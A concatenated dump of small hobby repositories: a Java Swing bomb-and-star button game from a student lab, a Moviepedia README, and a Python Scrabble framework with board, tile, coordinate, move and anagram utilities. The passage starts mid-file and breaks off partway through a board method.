ImageIcon(this.getClass().getResource("tenor.gif")); JLabel label2 = new JLabel(imgIcon); label2.setBounds(420, 420, 420, 69); getContentPane().add(label2,BorderLayout.SOUTH); } /** * ActionPerformed when a ActionListener is activated(button pressed) * @return void */ @Override public void actionPerformed(ActionEvent e) { //If button is a Bomb if (e.getSource() == bombButton_1 ) { endGame = true; repaint(); Label.setText("HaHa noob you only lasted " + (counter + 1) + " rounds xD"); ( (JButton) e.getSource()).setFont(new Font(getFont().getFontName(), Font.BOLD , 40)); ((JButton) panel.getComponent(win)).setText("🌟") ; ((JButton) e.getSource()).setText("💣") ; ( (JButton) e.getSource()).setForeground(Color.RED); ((JButton) panel.getComponent(bomb_2)).setText("💣") ; for(int x = 0; x < 16 ; x++){ if(panel.getComponent(x) != bombButton_1 && panel.getComponent(x) != bombbutton_2 && panel.getComponent(x) != Star ){ ((JButton) panel.getComponent(x)).setEnabled(false); ((JButton) panel.getComponent(win)).setEnabled(false); ((JButton) panel.getComponent(bomb_2)).setEnabled(false); }} } //If button is a Bomb else if (e.getSource() == bombbutton_2){ endGame = true; repaint(); Label.setText("HaHa noob you only lasted " + (counter + 1) + " rounds xD"); ( (JButton) e.getSource()).setFont(new Font(getFont().getFontName(), Font.BOLD , 40)); ((JButton) panel.getComponent(win)).setText("🌟") ; ((JButton) panel.getComponent(bomb_1)).setText("💣") ; ((JButton) e.getSource()).setText("💣") ; ( (JButton) e.getSource()).setForeground(Color.RED); for(int x = 0; x < 16 ; x++){ if(panel.getComponent(x) != bombButton_1 && panel.getComponent(x) != bombbutton_2 && panel.getComponent(x) != Star ){ ((JButton) panel.getComponent(x)).setEnabled(false); ((JButton) panel.getComponent(win)).setEnabled(false); ((JButton) panel.getComponent(bomb_1)).setEnabled(false); }} } //If button is a Star else if (e.getSource() == Star ) { endGame = true; ( (JButton) e.getSource()).setFont(new Font(getFont().getFontName(), Font.BOLD , 40)); ( (JButton) e.getSource()).setText("🌟") ; ((JButton) panel.getComponent(bomb_1)).setText("💣") ; ((JButton) panel.getComponent(bomb_2)).setText("💣") ; ( (JButton) e.getSource()).setForeground(Color.YELLOW); for(int x = 0; x < 16 ; x++){ if(panel.getComponent(x) != Star){ ((JButton) panel.getComponent(x)).setEnabled(false); }} Label.setText("You won the battle in " + (counter + 1) + " attempts, but did you win the war?"); } //If button is a Number else { counter++; ( (JButton) e.getSource()).setEnabled(false); Label.setText("You have clicked the buttons " + counter + " times, Please stop spamming."); } } } <file_sep>/** * Lab04a Instructions found on moodle * * Style guidlines URL:- * http://www.cs.bilkent.edu.tr/~adayanik/cs101/practicalwork/styleguidelines.htm * * * @author <NAME> * @version 09/07/2021 */ public class PotLuckTester { /** * main method * @return void */ public static void main(String[] args) throws Exception { PotLuck game = new PotLuck(); game.setVisible(true); } }
18d92f0fb162c5dae2cf4dfc2adc587ee956c094
[ "Java" ]
2
Java
DjTer3a/CS102_Lab_04_a
dedad733744e29bc5c34a9d188040659b9ff335c
08811e70994589db2b20017629f831fde4dfe206
refs/heads/master
<file_sep>a=[] str="S-O-U-T-R-I-K" b=input() for i in range(0,3): a.append(b.split(' ')[i]) print(a) <file_sep># Moviepedia This web page was basically meant to be a website where you can find out each and everything about movies(like wiki,imdb etc.). The platform is still under construction.
f4e82e580df79276e20330855dbae433d13961ea
[ "Markdown", "Python" ]
2
Python
SoutrikPal/Moviepedia
a395bba0ee870db009db517feabd93c6f19c1f65
d8dd813143c728f73beb34d71aff92d814f6b72c
refs/heads/master
<file_sep>""" This file provides the MoveFinder class, which allows you to find any moves on a Scrabble board. This class is an Abstract Base Class and is intended to be a Strategy pattern, as there are different move-finding algorithms that can be used. """ from abc import * class MoveFinder(ABC): """A class that models any algorithm that finds all the valid moves on a Scrabble board.""" def __init__(self): """Nothing to instantiate!""" pass @staticmethod @abstractmethod def find_all_moves(tiles, board): """Finds every move on the board with the given tiles and returns a list of Moves.""" raise NotImplementedError <file_sep>from timeit import Timer timeit1 = Timer(stmt="a('???SATINE')", setup="from wordtools import anagram as a") timeit2 = Timer(stmt="a('????SATINE')", setup="from wordtools import anagram as a") timeit3 = Timer(stmt="a('?????SATINE')", setup="from wordtools import anagram as a") print(timeit1.repeat(3, number=3)) print(timeit2.repeat(3, number=3)) print(timeit3.repeat(3, number=3)) print("Dunzo!")<file_sep>""" This program provides a way of anagramming words very quickly by using an anagram dictionary. The way this works is by assigning each letter of the alphabet a prime number (lower prime means more common letter). Then every set of letters corresponds to a unique number, the product of each letter's prime in the set. Then this product is precomputed for every word in the lexicon. Then, anagramming sets of letters is as easy as looking up the prime product in the anagram table and seeing what words there are. For example, let's say we want to anagram AET. E has value 2, T has value 3, and A has value 5, so the product is 2 * 3 * 5 = 30. Then, we look up what words also have that product: TEA, TAE, EAT, ATE, and ETA. This file automatically checks for the existence of the necessary files required for its work and creates them if needed. """ from wordlist import wordlist # the OWL3 from os.path import exists # letters are sorted by commonness to keep the products small LETTER_TO_PRIME = {'e': 2, 't': 3, 'a': 5, 'o': 7, 'i': 11, 'n': 13, 's': 17, 'h': 19, 'r': 23, 'd': 29, 'l': 31, 'c': 37, 'u': 41, 'm': 43, 'w': 47, 'f': 53, 'g': 59, 'y': 61, 'p': 67, 'b': 71, 'v': 73, 'k': 79, 'j': 83, 'x': 89, 'q': 97, 'z': 101} ANAGRAM_DICT_FILENAME = "anagramdictionary.txt" # to store the dictionary def number_from_word(string_iterable): """Multiplies the value of each letter by each other to produce a unique number.""" product = 1 for letter in string_iterable: product *= LETTER_TO_PRIME[letter.lower()] return product def create_anagram_dictionary(lexicon=wordlist): """This function creates the anagram dictionary in RAM and returns it.""" anagram_dict = {} # from numbers to list of words for word in lexicon: product = number_from_word(word) if product in anagram_dict: # word has an anagram already # add to existing list if applicable anagram_dict[product].append(word) else: # word has no anagrams anagram_dict[product] = [word] return anagram_dict """ The format for the anagram dictionary when it's stored in a .txt file is as follows: every number is first, followed by a space, followed by the string "->", followed by a space, followed by any words with spaces between them. Example excerpt (order ignored) 202 -> ZA 157333990 -> CLAIMED CAMELID DECLAIM DECIMAL MEDICAL """ def write_anagram_dictionary_to_file(filename=ANAGRAM_DICT_FILENAME, lexicon=wordlist): """This function writes the anagram dictionary to the specified filename with the specified lexicon in the format specified above. Returns None.""" anagram_dict = create_anagram_dictionary(lexicon) file = open(filename, "w") file.write("\n") # opening blank line for number in anagram_dict: line_string = "{} -> {}\n".format( number, ' '.join(anagram_dict[number]) ) file.write(line_string) def create_anagram_dictionary_from_file(filename=ANAGRAM_DICT_FILENAME): """Returns an anagram dictionary in memory from parsing the file.""" file = open(filename) anagram_dict = {} for line in list(file)[1:]: line = line.split() # split by whitespace number = int(line[0]) # get the number anagram_dict[number] = line[2:] # ignore the "->" element return anagram_dict def anagram_without_blanks(word): """Anagrams a word in O(n) time using a table lookup. Assumes that the file at ANAGRAM_DICT_FILENAME is operational. """ try: return anagram_dictionary[number_from_word(word)] except KeyError: return [] # see if the necessary things are in place and if not, create them try: anagram("TheCodeSamurai") except (NameError, KeyError): if exists(ANAGRAM_DICT_FILENAME): write_anagram_dictionary_to_file() anagram_dictionary = create_anagram_dictionary_from_file()<file_sep>""" This file creates a Tile class that models a Scrabble tile. The type of a Tile is a capital letter A-Z or ? for blanks. You can choose what a blank is set to by calling set_face, but for non-blank tiles this will return an error. Tiles are immutable and you should make a new Tile instead of changing an existing one. Note: blanks are sorted as after every other letter of the alphabet. """ import constants from functools import total_ordering @total_ordering class Tile: """This class models a Scrabble tile.""" def __init__(self, tile_type): "tile_type is a character A-Z or '?' for blanks" if tile_type not in constants.ALPHABET_WITH_Q_MARK: raise ValueError("tile_type must be in A-Z or '?'") self.__type = tile_type self.__face = tile_type # represents the face of the tile self.__value = constants.TILE_VALUES[tile_type] def set_face(self, face): """ face is a letter A-Z for the blank to be set to (used by str) If self's type is not '?', this will raise a TypeError. """ # Note that ? is an acceptable face, representing a blank face. if face not in constants.ALPHABET_WITH_Q_MARK: raise ValueError("Face must be A-Z or '?'") self.__face = face def __repr__(self): """Returns the face of the tile, uppercase if normal, lower if blank""" if self.__type == '?': return self.__face.lower() else: return self.__face def __str__(self): """Returns the face of the tile, uppercase if normal, lower if blank""" if self.__type == '?': return self.__face.lower() else: return self.__face def __lt__(self, other): if not isinstance(other, self.__class__): return False if self.__type == '?' and other.__type != '?': return False elif self.__type != '?' and other.__type == '?': return False else: return self.__face < other.__face def __eq__(self, other): if not isinstance(other, self.__class__): return False return (self.__face == other.__face and self.__type == other.__type) def get_value(self): """Returns the point value of the tile""" return self.__value def is_blank(self): """Returns True if this is a blank and False otherwise.""" return self.__type == '?' <file_sep># verdant-ecstasy A Python framework for playing Scrabble. There will be more coming soon! <file_sep>""" This file defines some convenience functions that may be moved to the board file or some other file and provides a harness for testing Scrabble. Intended to be run as a file in the interpreter """ from board import * from constants import * from coordinate import * from move import Move import squarebysquaremovefinder from tile import * def play_word(board, wordstring, wordcoord="8H"): """Convenience function that takes a given Board, a given string that is the word to play, and a string for the coordinate, and returns the score.""" move = Move(wordstring, wordcoord) score = board.play_move(move) print("{} was played for {} points".format(move, score)) b = Board() c = Coordinate.initialize_from_string("9G") init = Coordinate.initialize_from_string test_board = 0 test_move_finder = 1 if test_board: play_word(b, "HARPING") play_word(b, "ZAX", "9G") play_word(b, "SEQUINS", "10H") play_word(b, "GARNETS", "11C") play_word(b, "(N)ATURE", "M10") print("The board after these plays:\n") print(b) if test_move_finder: s = squarebysquaremovefinder play_word(b, "MANTEAU", "H8") word = "PORTMANTEAUX" row = ( [[Tile(x) for x in word]] * 7 + [Tile(x) for x in "MANTEAU"] + [[Tile(x) for x in word]] * 1 ) index = 7 col = 3 print('\n'.join([str(x) for x in row])) print(s.create_move(word, index, col, row, b)) <file_sep>""" This file creates the Coordinate class for dealing with Scrabble coordinates. It provides an interface between the A7 notation and array indices and direction. Note that A8 means the left-middle TWS square and a word going horizontally, but 8A means a word going from that square going vertically. Also note that A-O signifies column and 1-15 signifies row. """ HORIZONTAL, VERTICAL = 0, 1 # for representing direction LETTERS = "ABCDEFGHIJKLMNO" # for translating between A-O and 0-14 class Coordinate: """ A class for dealing with Scrabble coordinates, with interface between the array indices used for programming and the A8 notation used for Scrabble in the real world. See the file doc for information on how the A8 system works. Note that all operations with Coordinate return new coordinates instead of changing the existing one. """ def __init__(self, col, row, direction): """ Takes two integers col and row from 0-14 that signify column and row respectively, and direction that is either horizontal (0) or vertical (1). """ if not (0 <= col <= 14 and 0 <= row <= 14 and 0 <= direction <= 1): # invalid coordinate raise ValueError("Coordinate values out of bounds") self.__col = col self.__row = row self.__direction = direction @classmethod def initialize_from_string(cls, coord_string): """ Takes one string of the form letter + number or number + letter, between A-O and 1-15, like "O15" or "8A", with letter signifying column and number signifying row, and returns a Coordinate. """ if coord_string[0] in LETTERS: # signifies vertical direction direction = VERTICAL col = LETTERS.find(coord_string[0]) row = int(coord_string[1:]) else: direction = HORIZONTAL col = LETTERS.find(coord_string[-1]) # if invalid letter was passed, this will raise ValueError try: row = int(coord_string[:-1]) except ValueError: raise ValueError("Invalid letter value or improper syntax") try: return cls(col, row-1, direction) except (TypeError, ValueError): # bad coordinates raise ValueError("Coordinate values out of bounds") # account for difference in 0-14 vs 1-15 numbering with row-1 def is_horizontal(self): """Returns True if horizontal and False otherwise.""" return self.__direction is HORIZONTAL def get_col(self): """Returns the column value from 0-14""" return self.__col def get_row(self): """Returns the row value from 0-14""" return self.__row def flip(self): """ Returns the Coordinate with reversed direction and row-column "A7" -> "1G" "9F" -> "I6" """ return Coordinate(self.__row, self.__col, 1 - self.__direction) def increment(self): """ Returns a new Coordinate moved one step in the direction of the coordinate and the same direction as self, e.g., A8 -> A9, 8A -> 8B. Returns ValueError if the new coordinate would be invalid. """ try: if self.__direction is HORIZONTAL: return Coordinate(self.__col + 1, self.__row, self.__direction) else: return Coordinate(self.__col, self.__row + 1, self.__direction) except ValueError: raise ValueError("Incremented coordinate from" + " {} out of bounds!".format(str(self))) def safe_increment(self): """ Like Increment, but returns None instead of raising ValueError """ try: if self.__direction is HORIZONTAL: return Coordinate(self.__col + 1, self.__row, self.__direction) else: return Coordinate(self.__col, self.__row + 1, self.__direction) except ValueError: return None def __repr__(self): """Returns human-readable coordinate output.""" if self.is_horizontal(): return str(self.__row + 1) + LETTERS[self.__col] else: return LETTERS[self.__col] + str(self.__row + 1) def __str__(self): """ Returns human-readable coordinate output. >>> str(Coordinate(0, 7, 0)) "8A" >>> str(Coordinate.initialize_from_string("8A")) "A8" """ if self.is_horizontal(): return str(self.__row + 1) + LETTERS[self.__col] else: return LETTERS[self.__col] + str(self.__row + 1) def __eq__(self, other): if not isinstance(other, self.__class__): return False return (self.__row == other.__row and self.__col == other.__col and self.__direction == other.__direction) def move_up(self): """ Returns the Coordinate moved up by 1 space, throws ValueError if the coordinate is out of bounds. Keeps the current direction. """ try: return Coordinate(self.__col, self.__row - 1, self.__direction) except ValueError: return ValueError("Moved a Coordinate past the first row!") def move_down(self): """ Returns the Coordinate moved down by 1 space, throws ValueError if the coordinate is out of bounds. Keeps the current direction. """ try: return Coordinate(self.__col, self.__row + 1, self.__direction) except ValueError: return ValueError("Moved a Coordinate past the last row!") def move_right(self): """ Returns the Coordinate moved right by 1 space, throws ValueError if the coordinate is out of bounds. Keeps the current direction. """ try: return Coordinate(self.__col + 1, self.__row, self.__direction) except ValueError: return ValueError("Moved a Coordinate past the last column!") def move_left(self): """ Returns the Coordinate moved left by 1 space, throws ValueError if the coordinate is out of bounds. Keeps the current direction. """ try: return Coordinate(self.__col - 1, self.__row, self.__direction) except ValueError: return ValueError("Moved a Coordinate past the first column!") def safe_move_up(self): """ Moves the coordinate up, but returns None instead of raising ValueError. """ try: return Coordinate(self.__col, self.__row - 1, self.__direction) except ValueError: return None def safe_move_down(self): """ Moves the coordinate down, but returns None instead of raising ValueError. """ try: return Coordinate(self.__col, self.__row + 1, self.__direction) except ValueError: return None def safe_move_left(self): """ Moves the coordinate left, but returns None instead of raising ValueError. """ try: return Coordinate(self.__col - 1, self.__row, self.__direction) except ValueError: return None def safe_move_right(self): """ Moves the coordinate right, but returns None instead of raising ValueError. """ try: return Coordinate(self.__col + 1, self.__row, self.__direction) except ValueError: return None <file_sep>""" This file details some basic constants: the normal Scrabble bonus square layout and the tile values and counts in a normal bag. It also provides a list of all the normal regulation tiles to use in a bag and a list of every letter in the alphabet and '?'. """ from string import ascii_uppercase import tile as tile_mod ALPHABET = ascii_uppercase ALPHABET_WITH_Q_MARK = ascii_uppercase + "?" # ID's for each bonus square type, NON is a normal square NON, DLS, DWS, TLS, TWS = 0, 1, 2, 3, 4 BOARD_LAYOUT = [ [TWS, NON, NON, DLS, NON, NON, NON, TWS, NON, NON, NON, DLS, NON, NON, TWS], [NON, DWS, NON, NON, NON, TLS, NON, NON, NON, TLS, NON, NON, NON, DWS, NON], [NON, NON, DWS, NON, NON, NON, DLS, NON, DLS, NON, NON, NON, DWS, NON, NON], [DLS, NON, NON, DWS, NON, NON, NON, DLS, NON, NON, NON, DWS, NON, NON, DLS], [NON, NON, NON, NON, DWS, NON, NON, NON, NON, NON, DWS, NON, NON, NON, NON], [NON, TLS, NON, NON, NON, TLS, NON, NON, NON, TLS, NON, NON, NON, TLS, NON], [NON, NON, DLS, NON, NON, NON, DLS, NON, DLS, NON, NON, NON, DLS, NON, NON], [TWS, NON, NON, DLS, NON, NON, NON, DWS, NON, NON, NON, DLS, NON, NON, TWS], [NON, NON, DLS, NON, NON, NON, DLS, NON, DLS, NON, NON, NON, DLS, NON, NON], [NON, TLS, NON, NON, NON, TLS, NON, NON, NON, TLS, NON, NON, NON, TLS, NON], [NON, NON, NON, NON, DWS, NON, NON, NON, NON, NON, DWS, NON, NON, NON, NON], [DLS, NON, NON, DWS, NON, NON, NON, DLS, NON, NON, NON, DWS, NON, NON, DLS], [NON, NON, DWS, NON, NON, NON, DLS, NON, DLS, NON, NON, NON, DWS, NON, NON], [NON, DWS, NON, NON, NON, TLS, NON, NON, NON, TLS, NON, NON, NON, DWS, NON], [TWS, NON, NON, DLS, NON, NON, NON, TWS, NON, NON, NON, DLS, NON, NON, TWS], ] TILE_VALUES = {} # initialize tile values for zero_point_letter in "?": TILE_VALUES[zero_point_letter] = 0 for one_point_letter in "AEIOULNSTR": TILE_VALUES[one_point_letter] = 1 for two_point_letter in "DG": TILE_VALUES[two_point_letter] = 2 for three_point_letter in "BCMP": TILE_VALUES[three_point_letter] = 3 for four_point_letter in "FHVWY": TILE_VALUES[four_point_letter] = 4 for five_point_letter in "K": TILE_VALUES[five_point_letter] = 5 for eight_point_letter in "JX": TILE_VALUES[eight_point_letter] = 8 for ten_point_letter in "QZ": TILE_VALUES[ten_point_letter] = 10 TILE_COUNTS = {} # initialize tile counts for one_count_letter in "KJQXZ": TILE_COUNTS[one_count_letter] = 1 for two_count_letter in "BCMPFHVWY?": TILE_COUNTS[two_count_letter] = 2 for three_count_letter in "G": TILE_COUNTS[three_count_letter] = 3 for four_count_letter in "LSUD": TILE_COUNTS[four_count_letter] = 4 for six_count_letter in "NRT": TILE_COUNTS[six_count_letter] = 6 for eight_count_letter in "O": TILE_COUNTS[eight_count_letter] = 8 for nine_count_letter in "AI": TILE_COUNTS[nine_count_letter] = 9 for twelve_count_letter in "E": TILE_COUNTS[twelve_count_letter] = 12 TILE_BAG = [] # add tiles based on previous distribution def make_unique(iterable): """Used to remove duplicates from lists with unhashable elements""" unique_list = [] for element in iterable: if element not in unique_list: unique_list.append(element) else: continue return unique_list for tile in ALPHABET: for i in range(TILE_COUNTS[tile]): TILE_BAG.append(tile_mod.Tile(tile)) TILE_BAG_WITH_BLANK = [] for tile in ALPHABET_WITH_Q_MARK: for i in range(TILE_COUNTS[tile]): TILE_BAG_WITH_BLANK.append(tile_mod.Tile(tile)) TILE_LIST = make_unique(TILE_BAG) TILE_LIST_WITH_BLANK = make_unique(TILE_BAG)<file_sep>""" This file provides the Move class, which provides a unified interface for dealing with moves in Scrabble. Note that score is in no way a part of this class: it is the responsibility of the Board class (and maybe later, a Game class or other such classes) to count score and keep track of it. This class also provides a convenience function that takes a string and returns a list of Tiles. Note that this is case-sensitive: 'f' represents a blank that has been set to F (like in 'fAINTERS'), while 'F' represents a normal F tile. This function can be called from Move if desired. """ from coordinate import Coordinate from tile import Tile import re class Move(): """ A class for dealing with moves in Scrabble. Note that scoring moves is not this class's responsibility, but keeping track of tiles on the board vs. tiles from the rack is. Move syntax is as follows: 'F' denotes the F tile. 'f' denotes a blank tile played as an 'f'. (F) denotes an F on the board. (f) denotes a blank tile as an f already on the board. Example syntax: PORt(MANTEaU)X Note that this class is iterable: if you iterate over this, it will iterate over every tile in the move, including ones on the board. """ def __init__(self, word, coord): """ Initializes a Move with the given string (only alphabetic characters) and coordinate. Coord can either be a Coordinate or a string, which will be converted to a Coordinate. Word is a string, following the rules of the class doc: lowercase means blank, parentheses mean already played. Example: PORt(MANTEaU)X """ tilelist = self.tiles_from_string(word) self.__all_tiles = tilelist[0] self.__just_played_tiles = tilelist[1] if isinstance(coord, str): self.__coord = Coordinate.initialize_from_string(coord) else: self.__coord = coord def to_string(self): """Returns just the move string in proper syntax.""" string = "" for index, tile in enumerate(self): if self.__just_played_tiles[index] is None: # tile already on board if string.count('(') > string.count(')'): # one of many string += str(tile) # already a left paren else: # need to add a left paren string += '(' + str(tile) else: # tile from rack # need to add a right paren if string.count('(') > string.count(')'): string += ')' + str(tile) else: string += str(tile) return string def __str__(self): """Returns a string in the syntax described in the class doc.""" string = "" for index, tile in enumerate(self): if self.__just_played_tiles[index] is None: # tile already on board if string.count('(') > string.count(')'): # one of many string += str(tile) # already a left paren else: # need to add a left paren string += '(' + str(tile) else: # tile from rack # need to add a right paren if string.count('(') > string.count(')'): string += ')' + str(tile) else: string += str(tile) return str(self.__coord) + ' ' + string @classmethod def tiles_from_string(cls, word): """ Takes a string, with blanks in lowercase and pre-played tiles in parentheses, and returns a list of two lists of tiles: the first with all the tiles, and the other with just the played ones and None where tiles are on the board. Example: PORt(MANtEAU)X """ without_parens = word.replace('()', '') # remove parentheses all_tiles = [] just_played_tiles = [] for index, tile in enumerate(without_parens): if tile in '()': # skip over these continue first_part = word[:index] if first_part.count('(') > first_part.count(')'): # on board if tile.islower(): # a blank blank = Tile('?') blank.set_face(tile.upper()) all_tiles.append(blank) just_played_tiles.append(None) # mark spot else: all_tiles.append(Tile(tile)) just_played_tiles.append(None) # mark spot else: # belongs in both if tile.islower(): # a blank blank = Tile('?') blank.set_face(tile.upper()) just_played_tiles.append(blank) all_tiles.append(blank) else: just_played_tiles.append(Tile(tile)) all_tiles.append(Tile(tile)) return [all_tiles, just_played_tiles] def __repr__(self): return str(self) def __eq__(self, other): if isinstance(other, self.__class__): return False return (self.__all_tiles == other.__all_tiles and self.__just_played_tiles == other.__just_played_tiles and self.__coord == other.__coord) def get_coord(self): return self.__coord def get_just_played_tiles(self): """ Returns a list of tiles with None in spaces where the board already had the tile. """ return self.__just_played_tiles def was_just_played(self, index): """ Returns True if the tile at index was just played and False otherwise. """ return self.__just_played_tiles[index] is not None def flip(self): """ Returns the exact same Move with flipped coordinate. """ return Move(self.to_string(), self.__coord.flip()) ##################################################################### # The immutable container and iterator protocols are defined below. # ##################################################################### def __len__(self): return len(self.__all_tiles) def __iter__(self): return iter(self.__all_tiles) def __getitem__(self, index): return self.__all_tiles[index] def __reversed__(self): return reversed(self.__all_tiles) <file_sep>""" This class provides functions to work with strings that are oriented towards Scrabble: hooks, subanagrams, pattern matches, etc. """ import base_anagram import wordlist from constants import ALPHABET """ ****************************************************************************** ALL of these functions take ? as a blank. Some take * as any number of blanks. ****************************************************************************** """ def powerset(lst): """Returns every subset of every size of the list""" result = [[]] for x in lst: result.extend([subset + [x] for subset in result]) return result def back_hooks(word): """ Returns a list of every word created by adding a letter after this one, e.g., "RATE" -> ["RATED", "RATEL", "RATER", "RATES"] """ hooks = [] if '?' in word: for letter in ALPHABET: hooks += back_hooks(word.replace('?', letter, 1)) else: for letter in ALPHABET: if wordlist.check_validity(word + letter): hooks.append(word + letter) return hooks def front_hooks(word): """ Returns a list of every word created by adding a letter in front of this one, e.g., "EARN" -> ["LEARN", "YEARN"] """ hooks = [] if '?' in word: for letter in ALPHABET: hooks += front_hooks(word.replace('?', letter, 1)) else: for letter in ALPHABET: if wordlist.check_validity(letter + word): hooks.append(letter + word) return hooks def subanagrams(word): """ Returns every word that can be made with the combination of any of the letters inside the word. Example: "MOCK" -> ["MOCK", "MOC", "MO", "OM"] """ subs = [] if '?' in word: for letter in ALPHABET: subs += subanagrams(word.replace('?', letter, 1)) else: for subset in powerset(word): # gets every subset subs += anagram(''.join(subset)) return subs def anagram(word): """ Anagrams a word, including blanks represented by '?': Example: "AEIRSTX?" -> "MATRIXES", "SEXTARII" """ if '?' in word: # blank needs to be replaced anagrams = [] # to store all the anagrams for letter in ALPHABET: anagrams += anagram(word.replace('?', letter, 1)) return list(set(anagrams)) # remove repeats with the same set of blanks else: return base_anagram.anagram_without_blanks(word) def pattern_match(pattern): """ Matches an exact pattern, with ? representing a single blank letter and * representing any number (even 0) of any tile. Examples: "C?RN" -> ["CARN", "CORN", "CURN"] "*NJUNCTION" -> ["CONJUNCTION", "INJUNCTION"] """ q_mark_regex = "[A-Z]" # matches exactly one letter asterisk_regex = "[A-Z]*" # matches any number of letters search_regex = pattern.replace('?', q_mark_regex) search_regex = search_regex.replace('*', asterisk_regex) return wordlist.regex_search(search_regex) def anagram_and_pattern_match(pattern, tileset): """ Finds all anagrams of the tileset that match the pattern. Examples: "S*A", "SATINES" -> "SESTINA" "D*", "SATIRED" -> "DISRATE", "DIASTER", "DIASTRE" Faster than simply doing both computations and taking the intersection. """ if '?' in tileset: # need to do a recursive search with blanks sols = [] # to count solutions for letter in ALPHABET: sols += anagram_and_pattern_match(pattern, tileset.replace('?', letter, 1)) return sols letter_regex = '[' + ''.join(tileset) + ']' # matches a letter asterisk_regex = letter_regex + '*' # matches any number of letters search_regex = pattern.replace('?', letter_regex) search_regex = search_regex.replace('*', asterisk_regex) return [x for x in wordlist.regex_search(search_regex) if x in anagram(tileset)] def subanagram_and_pattern_match(pattern, tileset): """Quickly f inds all subanagrams of the tileset that match the pattern. Can be slow with blanks in the tileset.""" if '?' in tileset: # need to do a recursive search with blanks sols = [] # to count solutions for letter in ALPHABET: sols += subanagram_and_pattern_match(pattern, tileset.replace('?', letter, 1)) return sols letter_regex = '[' + ''.join(tileset) + ']' # matches a letter asterisk_regex = letter_regex + '*' # matches any number of letters search_regex = pattern.replace('?', letter_regex) search_regex = search_regex.replace('*', asterisk_regex) return [x for x in wordlist.regex_search(search_regex) if x in subanagrams(tileset)] <file_sep>""" This file creates the Board class which models a normal 15x15 Scrabble board. You can put only Tiles on a board, and the board provides convenience functions that allow you to add new Tiles, remove Tiles, move Tiles, score words, etc. """ from constants import NON, DLS, DWS, TLS, TWS from constants import BOARD_LAYOUT import coordinate as coordinate_module from move import Move BOARD_SIZE = 15 class Board: """This class models a Scrabble board. You can manage tiles and score words.""" bonuses = BOARD_LAYOUT # 2-dimensional array with normal bonus squares def __init__(self): """Creates a Board with the normal bonus squares and size.""" self.__tiles = [[None for x in range(BOARD_SIZE)] for y in range(BOARD_SIZE)] # a 2-dimensional array with blank spaces as None def add_tile(self, tile, coordinate): """Adds the specified tile at the specified coordinate""" self.__tiles[coordinate.get_row()][coordinate.get_col()] = tile def get_tile(self, coordinate): """Returns the tile at the specified coordinate or None""" return self.__tiles[coordinate.get_row()][coordinate.get_col()] def safe_get_tile(self, coordinate): """Returns the tile at the specified coordinate but returns None if the coordinate is None""" try: return self.__tiles[coordinate.get_row()][coordinate.get_col()] except AttributeError: return None def remove_tile(self, coordinate): """ Removes the tile at the given coordinate: raises an error if the square has nothing on it. """ self.__tiles[coordinate.get_row()][coordinate.get_col()] = None def get_bonus(self, coordinate): """ Returns the bonus square in particular space. The values mean: 0 => normal square 1 => Double Letter Score 2 => Double Word Score 3 => Triple Letter Score 4 => Triple Word Score """ return BOARD_LAYOUT[coordinate.get_row()][coordinate.get_col()] def get_letter_multiplier(self, coordinate): """Returns 2 if coordinate has a DLS and 3 if it has a TLS, 1 otherwise.""" if self.get_bonus(coordinate) == DLS: return 2 elif self.get_bonus(coordinate) == TLS: return 3 else: return 1 def get_word_multiplier(self, coordinate): """Returns 2 if coordinate has a DWS and 3 if it has a TWS, 1 otherwise.""" if self.get_bonus(coordinate) == DWS: return 2 elif self.get_bonus(coordinate) == TWS: return 3 else: return 1 def __str__(self): """Returns a human-readable table with * standing in for blank spots""" string = "" for row in self.__tiles: for tile in row: if tile is None: string += '*' else: string += str(tile) string += '\n' return string def is_valid_move(self, move): """Returns True if the play is possible (no spaces or overlapping tiles) and False otherwise.""" current_coord = move.get_coord() # track where we are in the word word = move.get_just_played_tiles() #print(word) for tile in word: #print("Checking if {} can be played over {}".format( # str(tile), str(self.get_tile(current_coord))) #) if tile is None: # existing tile SHOULD be there if self.get_tile(current_coord) is None: return False else: if self.get_tile(current_coord) is not None: return False current_coord = current_coord.safe_increment() return True def add_move(self, move): """Adds the given move to the board.""" word = move.get_just_played_tiles() coordinate = move.get_coord() if not self.is_valid_move(move): raise ValueError("Invalid word: overlapping or missing tiles") current_coord = coordinate # track where we are in the word for tile in word: if tile is not None: # existing tile should not be there self.add_tile(tile, current_coord) current_coord = current_coord.safe_increment() def remove_move(self, move): """Removes a given Move from the board.""" current_coord = move.get_coord() for index, tile in enumerate(move): if move.was_just_played(index): self.remove_tile(current_coord) current_coord = current_coord.safe_increment() def count_move(self, move): """Scores a word, NOT including parallel plays.""" word_added = False # flag if not self.is_move_present(move): # move not on board self.add_move(move) # add the word word_added = True # flag word = move.get_just_played_tiles() coordinate = move.get_coord() current_coord = coordinate # track our place in the word score = 0 word_multiplier = 1 # to keep track of word multipliers for tile in word: if tile is None: # just count letter value then move on score += self.get_tile(current_coord).get_value() else: score += (self.get_letter_multiplier(current_coord) * tile.get_value()) word_multiplier *= self.get_word_multiplier(current_coord) current_coord = current_coord.safe_increment() score *= word_multiplier # update score with word bonuses # check for bingo bonus if len([tile for tile in word if tile is not None]) == 7: score += 50 if word_added: # remove the word after done scoring it self.remove_move(move) return score def score_move(self, move): """Scores the given move, including parallel plays.""" # if the word isn't on the board, we add it then remove it again word_added = False # flag if not self.is_move_present(move): # move not on board self.add_move(move) word_added = True # flag word = move.get_just_played_tiles() coordinate = move.get_coord() current_coord = coordinate # used for tracking total_score = self.count_move(move) # count the main play if coordinate.is_horizontal(): # parallel plays in columns for tile in word: # if this is an existing tile, nothing needs to be done if tile is None: pass else: above_current = current_coord.safe_move_up() below_current = current_coord.safe_move_down() # avoid error if on the border of the board above_tile = self.safe_get_tile(above_current) below_tile = self.safe_get_tile(below_current) # no parallel plays if above_tile is None and below_tile is None: pass else: word_multiplier = self.get_word_multiplier(current_coord) score = 0 # keep track of score for this parallel play # count the tile in the main word score += (self.get_letter_multiplier(current_coord) * tile.get_value()) # check for letters above the main word above = current_coord.safe_move_up() while (above is not None and self.get_tile(above) is not None): # no multipliers score += self.get_tile(above).get_value() above = above.safe_move_up() below = current_coord.safe_move_down() while (below is not None and self.get_tile(below) is not None): # no multipliers score += self.get_tile(below).get_value() below = below.safe_move_down() # update main score total_score += score * word_multiplier # move along in word current_coord = current_coord.safe_increment() else: # just flip the board to run the algorithm return self.flip().score_move(move.flip()) if word_added: # remove the word after done scoring it self.remove_move(move) pass return total_score def play_move(self, move): """Adds the word to the board and returns the score""" self.add_move(move) return self.score_move(move) def is_move_present(self, move): """Returns True if the move is present and False otherwise""" #print("is_move_present called") coordinate = move.get_coord() current_coord = coordinate for tile in move: 